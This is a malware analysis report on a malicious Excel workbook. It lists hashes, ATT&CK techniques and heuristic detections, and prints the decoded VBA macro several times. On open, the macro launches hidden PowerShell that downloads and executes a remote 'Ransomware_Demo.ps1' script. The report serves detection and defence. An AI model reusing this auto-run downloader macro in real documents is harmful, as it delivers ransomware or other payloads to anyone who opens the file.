Office (OOXML) malware analysis — malicious · 03f24b9ca5e0a46a

MALICIOUS

Office (OOXML)

220.2 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-07

MD5: 2a85d40e4a662fa63308108b3ebd8f74 SHA-1: 0c61c415428870b6385be068dfdcda854eb49229 SHA-256: 03f24b9ca5e0a46a7f5cb1dee99d6597209b5c2cb8f8505d36d46952b0c6632e

190 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a Workbook_Open VBA macro that executes a PowerShell command. This command is designed to download and execute a second-stage payload from the URL https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1. The use of a Workbook_Open macro and the execution of a PowerShell downloader are strong indicators of a malicious document, likely delivered as a spearphishing attachment.

Heuristics 6

VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

Call Shell("powershell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1'))""", 1)

PowerShell reference in VBA critical OLE_VBA_PS

PowerShell reference in VBA

Matched line in script

Call Shell("powershell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1'))""", 1)

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Attribute VB_Customizable = True
Private Sub Workbook_Open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1 In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1079 bytes
SHA-256: `a9525c418a92323e25496c139b6fa7ad9ba1d40ac0126094c2e6f14f490fdd41`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Module1" Sub test() Call Shell("powershell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1'))""", 1) End Sub Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Call Shell("powershell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1'))""", 1) End Sub Attribute VB_Name = "工作表1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	18432 bytes
SHA-256: `a3f7d0928843ca9c9a1da2fc330dece775ebe85aca495bc9800581c7b115ce6c`

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